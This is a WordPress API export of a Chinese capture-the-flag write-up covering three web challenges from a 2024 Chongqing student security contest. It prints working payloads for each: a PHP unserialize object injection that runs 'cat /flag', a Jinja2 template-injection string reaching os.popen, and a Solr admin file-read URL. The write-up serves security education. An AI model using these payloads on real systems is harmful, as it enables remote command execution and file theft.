{"id":599,"date":"2024-12-08T15:46:25","date_gmt":"2024-12-08T15:46:25","guid":{"rendered":"http:\/\/mikuhacker.cn\/?p=599"},"modified":"2024-12-08T16:10:05","modified_gmt":"2024-12-08T16:10:05","slug":"2024-%e9%87%8d%e5%ba%86%e5%b8%82%e5%a4%a7%e5%ad%a6%e7%94%9f%e4%bf%a1%e6%81%af%e5%ae%89%e5%85%a8%e7%ab%9e%e8%b5%9b-wp","status":"publish","type":"post","link":"http:\/\/mikuhacker.cn\/?p=599","title":{"rendered":"2024 \u91cd\u5e86\u5e02\u5927\u5b66\u751f\u4fe1\u606f\u5b89\u5168\u7ade\u8d5b-WP"},"content":{"rendered":"\n<h2 class=\"wp-block-heading\">WEB-1<\/h2>\n\n\n\n<p>dirsearch\u76f4\u63a5\u626b\u9776\u673a\u626b\u51fawww.zip<\/p>\n\n\n\n<figure class=\"wp-block-image size-full\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='http:\/\/mikuhacker.cn\/wp-content\/uploads\/2024\/12\/\u5c4f\u5e55\u622a\u56fe-2024-12-08-152119.png'><img class=\"lazyload lazyload-style-2\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  loading=\"lazy\" decoding=\"async\" width=\"897\" height=\"398\" data-original=\"http:\/\/mikuhacker.cn\/wp-content\/uploads\/2024\/12\/\u5c4f\u5e55\u622a\u56fe-2024-12-08-152119.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" class=\"wp-image-600\"  sizes=\"(max-width: 897px) 100vw, 897px\" \/><\/div><\/figure>\n\n\n\n<p>\u770b\u6e90\u7801<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>&lt;?php\n\u200b\nclass Flag{\n  public $cmd='whoami';\n  public function __destruct()\n  {\n\u2022 &nbsp;  system($this-&gt;cmd);\n  }\n}\nunserialize($_GET&#91;'flag']);\n?&gt;<\/code><\/pre>\n\n\n\n<p>\u7b80\u5355\u7684\u53cd\u5e8f\u5217\u5316\uff0c\u76f4\u63a5\u6253<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>&lt;?php\nclass Flag{\n  public $cmd='whoami';\n  public function __destruct()\n  {\n\u2022 &nbsp;  system($this-&gt;cmd);\n  }\n}\nunserialize($_GET&#91;'flag']);\n\u200b\n$a=new Flag();\n$a-&gt;cmd='cat \/flag';\n$b=serialize($a);\necho $b;\n?&gt;<\/code><\/pre>\n\n\n\n<p>payload\uff1a\/c2VyaWFsaXpl.php?flag=O:4:&#8221;Flag&#8221;:1:{s:3:&#8221;cmd&#8221;;s:9:&#8221;cat \/flag&#8221;;}<\/p>\n\n\n\n<figure class=\"wp-block-image size-large\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='http:\/\/mikuhacker.cn\/wp-content\/uploads\/2024\/12\/\u5c4f\u5e55\u622a\u56fe-2024-12-08-152455-1-1024x242.png'><img class=\"lazyload lazyload-style-2\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  loading=\"lazy\" decoding=\"async\" width=\"1024\" height=\"242\" data-original=\"http:\/\/mikuhacker.cn\/wp-content\/uploads\/2024\/12\/\u5c4f\u5e55\u622a\u56fe-2024-12-08-152455-1-1024x242.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" class=\"wp-image-605\"  sizes=\"(max-width: 1024px) 100vw, 1024px\" \/><\/div><\/figure>\n\n\n\n<h2 class=\"wp-block-heading\">WEB-3<\/h2>\n\n\n\n<p>\u68c0\u6d4b\u51fa\u82b1\u62ec\u53f7SSTI\u6f0f\u6d1e<\/p>\n\n\n\n<figure class=\"wp-block-image size-large\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='http:\/\/mikuhacker.cn\/wp-content\/uploads\/2024\/12\/\u5c4f\u5e55\u622a\u56fe-2024-12-08-153002-2-1024x477.png'><img class=\"lazyload lazyload-style-2\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  loading=\"lazy\" decoding=\"async\" width=\"1024\" height=\"477\" data-original=\"http:\/\/mikuhacker.cn\/wp-content\/uploads\/2024\/12\/\u5c4f\u5e55\u622a\u56fe-2024-12-08-153002-2-1024x477.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" class=\"wp-image-606\"  sizes=\"(max-width: 1024px) 100vw, 1024px\" \/><\/div><\/figure>\n\n\n\n<p>\u641c\u4e2apayload\uff1a{%print ((lipsum)|attr(&#8220;<strong>globals<\/strong>&#8220;)).get(&#8220;os&#8221;).popen(&#8220;cat \/flag&#8221;).read()%}\u76f4\u63a5\u6253<\/p>\n\n\n\n<figure class=\"wp-block-image size-full\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='http:\/\/mikuhacker.cn\/wp-content\/uploads\/2024\/12\/\u5c4f\u5e55\u622a\u56fe-2024-12-08-153122-2.png'><img class=\"lazyload lazyload-style-2\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  loading=\"lazy\" decoding=\"async\" width=\"970\" height=\"592\" data-original=\"http:\/\/mikuhacker.cn\/wp-content\/uploads\/2024\/12\/\u5c4f\u5e55\u622a\u56fe-2024-12-08-153122-2.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" class=\"wp-image-608\"  sizes=\"(max-width: 970px) 100vw, 970px\" \/><\/div><\/figure>\n\n\n\n<h2 class=\"wp-block-heading\">WEB-4<\/h2>\n\n\n\n<p>\u4e00\u5f00\u59cb\u4e0d\u65ad\u5c1d\u8bd5\u6539\u540e\u7f00\u4e0a\u4f20\u6587\u4ef6\uff0c\u4f46\u600e\u4e48\u90fd\u4e0d\u80fd\u7ed5\u8fc7\u767d\u540d\u5355\uff0c\u53ea\u80fd\u4f20txt\u6587\u4ef6\uff0c\u53d1\u89c9\u767d\u540d\u5355\u9650\u5236\u7684\u592a\u6b7b\u4e86\uff0c\u8003\u70b9\u5e94\u8be5\u4e0d\u662f\u6587\u4ef6\u4e0a\u4f20\u3002dirsearch\u626b\u4e00\u4e0b\uff0c\u76f4\u63a5\u626b\u51fa\u4e00\u4e2a\u6587\u4ef6\u5305\u542b\u7684\u8def\u7531<\/p>\n\n\n\n<figure class=\"wp-block-image size-full\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='http:\/\/mikuhacker.cn\/wp-content\/uploads\/2024\/12\/\u5c4f\u5e55\u622a\u56fe-2024-12-08-153345.png'><img class=\"lazyload lazyload-style-2\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  loading=\"lazy\" decoding=\"async\" width=\"680\" height=\"173\" data-original=\"http:\/\/mikuhacker.cn\/wp-content\/uploads\/2024\/12\/\u5c4f\u5e55\u622a\u56fe-2024-12-08-153345.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" class=\"wp-image-609\"  sizes=\"(max-width: 680px) 100vw, 680px\" \/><\/div><\/figure>\n\n\n\n<p>\u6539\u4e00\u4e0b\u5f97\u5230payload\u76f4\u63a5\u8bfbflag\uff1a\/solr\/admin\/file\/?file=\/flag<\/p>\n\n\n\n<figure class=\"wp-block-image size-large\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='http:\/\/mikuhacker.cn\/wp-content\/uploads\/2024\/12\/\u5c4f\u5e55\u622a\u56fe-2024-12-08-153447-1024x291.png'><img class=\"lazyload lazyload-style-2\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  loading=\"lazy\" decoding=\"async\" width=\"1024\" height=\"291\" data-original=\"http:\/\/mikuhacker.cn\/wp-content\/uploads\/2024\/12\/\u5c4f\u5e55\u622a\u56fe-2024-12-08-153447-1024x291.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" class=\"wp-image-610\"  sizes=\"(max-width: 1024px) 100vw, 1024px\" \/><\/div><\/figure>\n","protected":false},"excerpt":{"rendered":"<p>WEB-1 dirsearch\u76f4\u63a5\u626b\u9776\u673a\u626b\u51fawww.zip \u770b\u6e90\u7801 \u7b80\u5355\u7684\u53cd\u5e8f\u5217\u5316\uff0c\u76f4\u63a5\u6253 payload\uff1a\/c2VyaWFsaXpl.php?flag=O:4:&#8221;Flag&#8221;:1:{s:3:&#8221;cmd&#8221;;s:9:&#8221;cat \/flag&#8221;;} WEB-3 \u68c0\u6d4b\u51fa\u82b1\u62ec\u53f7SSTI\u6f0f\u6d1e \u641c\u4e2apayload\uff1a{%print ((lipsum)|attr(&#8220;globals&#8220;)).get(&#8220;os&#8221;).popen(&#8220;cat \/flag&#8221;).read()%}\u76f4\u63a5\u6253 WEB-4 \u4e00\u5f00\u59cb\u4e0d\u65ad\u5c1d\u8bd5\u6539\u540e\u7f00\u4e0a\u4f20\u6587\u4ef6\uff0c\u4f46\u600e\u4e48\u90fd\u4e0d\u80fd\u7ed5\u8fc7\u767d\u540d\u5355\uff0c\u53ea\u80fd\u4f20txt\u6587\u4ef6\uff0c\u53d1\u89c9\u767d\u540d\u5355\u9650\u5236\u7684\u592a\u6b7b\u4e86\uff0c\u8003\u70b9\u5e94\u8be5\u4e0d\u662f\u6587\u4ef6\u4e0a\u4f20\u3002dirsearch\u626b\u4e00\u4e0b\uff0c\u76f4\u63a5\u626b\u51fa\u4e00\u4e2a\u6587\u4ef6\u5305\u542b\u7684\u8def\u7531 \u6539\u4e00\u4e0b\u5f97\u5230payload\u76f4\u63a5\u8bfbflag\uff1a\/solr\/admin\/file\/?file=\/flag<\/p>\n","protected":false},"author":1,"featured_media":405,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[3],"tags":[],"class_list":["post-599","post","type-post","status-publish","format-standard","has-post-thumbnail","hentry","category-wp"],"_links":{"self":[{"href":"http:\/\/mikuhacker.cn\/index.php?rest_route=\/wp\/v2\/posts\/599"}],"collection":[{"href":"http:\/\/mikuhacker.cn\/index.php?rest_route=\/wp\/v2\/posts"}],"about":[{"href":"http:\/\/mikuhacker.cn\/index.php?rest_route=\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"http:\/\/mikuhacker.cn\/index.php?rest_route=\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"http:\/\/mikuhacker.cn\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=599"}],"version-history":[{"count":2,"href":"http:\/\/mikuhacker.cn\/index.php?rest_route=\/wp\/v2\/posts\/599\/revisions"}],"predecessor-version":[{"id":614,"href":"http:\/\/mikuhacker.cn\/index.php?rest_route=\/wp\/v2\/posts\/599\/revisions\/614"}],"wp:featuredmedia":[{"embeddable":true,"href":"http:\/\/mikuhacker.cn\/index.php?rest_route=\/wp\/v2\/media\/405"}],"wp:attachment":[{"href":"http:\/\/mikuhacker.cn\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=599"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"http:\/\/mikuhacker.cn\/index.php?rest_route=%2Fwp%2Fv2%2Fcategories&post=599"},{"taxonomy":"post_tag","embeddable":true,"href":"http:\/\/mikuhacker.cn\/index.php?rest_route=%2Fwp%2Fv2%2Ftags&post=599"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}